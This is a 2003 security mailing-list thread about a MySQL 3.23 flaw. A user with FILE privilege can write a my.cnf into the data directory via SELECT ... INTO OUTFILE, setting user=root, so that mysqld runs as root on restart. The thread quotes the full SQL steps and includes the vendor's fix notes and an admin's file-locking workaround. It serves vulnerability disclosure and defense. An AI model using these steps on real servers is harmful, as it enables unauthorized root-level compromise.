Re: MySQL user can be changed to root

[Sergei Golubchik]

Hi!

Both to bugtraq and mysql list:

This issue has been adressed in 3.23.56 (release build is started
today), and some steps were taken to alleviate the threat.

In particular, MySQL will no longer read config files that are
world-writeable (and SELECT ... OUTFILE always creates world-writeable
files). Also, unlike other options, for --user option the first one will
have the precedence. So if --user is set in /etc/my.cnf (as it is
recommended in the manual), datadir/my.cnf will not be able to override
it.

Fixing this issue in more robust way would mean introducing too big and
incompatible changes into stable version, thus breaking lots of
installations. It is to be done in 4.1.

Regards,
Sergei

On Mar 10, Guido A.J. Stevens wrote:
>
> I can confirm this privilege escalation in mysql-server 3.23.49-8.2
> (debian/stable on linux/i386). Any mysql user with file privileges can
> trick the mysql server into running as root on restart of the mysql
> subsystem.
>
> bugsman@libero.it wrote:
>
> > mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
>
> > Now, when the mysql server will be restarted, the user option in our
> > datadir my.cnf will override the one in /etc/my.cnf and mysql server will
> > run as root

--
MySQL Development Team
__ ___ ___ ____ __
/ |/ /_ __/ __/ __ \/ / Sergei Golubchik <serg@mysql.com>
/ /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/
/_/ /_/\_, /___/\___\_\___/ Osnabrueck, Germany
<___/

[Christopher McCrory]

Hello...



On Sat, 2003-03-08 at 03:58, bugsman@libero.it wrote:
> Hi. I tried this on my own MySQL 3.23.55 !!!
> I found out that logging as the root user, we can change mysqld to run as root instead that i.e. mysql but this works only if there's just one my.cnf file and it is locate in /etc...
> Here's how I did it...
>
> I logged in as root and than I did this:
>
> mysql>CREATE DATABASE roottext;
> mysql>USE roottext;
> mysql>CREATE TABLE hack (conf VARCHAR(80));
> mysql>INSERT IN hack VALUES ('[mysqld]');
> mysql>INSERT IN hack VALUES ('user=root');
> mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
> mysql>QUIT
>
> Doing so we have create a my.cnf in mysql datadir containing:
>
> [mysqld]
> user=root
>
> Now, when the mysql server will be restarted, the user option in our datadit my.cnf will override the one in /etc/my.cnf and mysql server will run as root, with all the security flwas that it takes...
> This is very dangerous if we think that in mysql <= 3.23.53 it is really easy to get root access due to a bug (an exploit has been released publicly)...
> I dunno how this problem can be solved, I'd like to hear from you something...

Quick fix:

change ownership of ~mysql/my.cnf to (system) root
chattr +i

e.g.:

[Me@Here /var/lib/mysql]$ sudo vi my.cnf
[Me@Here /var/lib/mysql]$ cat my.cnf
# Empty

[Me@Here /var/lib/mysql]$ sudo chattr +i my.cnf

[Me@Here /var/lib/mysql]$ sudo -u mysql perl -pi -e "s#Empty# Mine#"
my.cnf
Can't remove my.cnf: Operation not permitted, skipping file.

[Me@Here /var/lib/mysql]$ cat my.cnf
# Empty

[Me@Here /var/lib/mysql]$ ls -la
total 28
drwxr-xr-x 3 mysql mysql 4096 Mar 9 17:43 .
drwxr-xr-x 18 root root 4096 Nov 16 18:24 ..
-rw-r--r-- 1 root root 8 Mar 9 17:42 my.cnf





> Thanks.... :)
> by
> Gufino
--
Christopher McCrory
"The guy that keeps the servers running"

chrismcc@pricegrabber.com
http://www.pricegrabber.com

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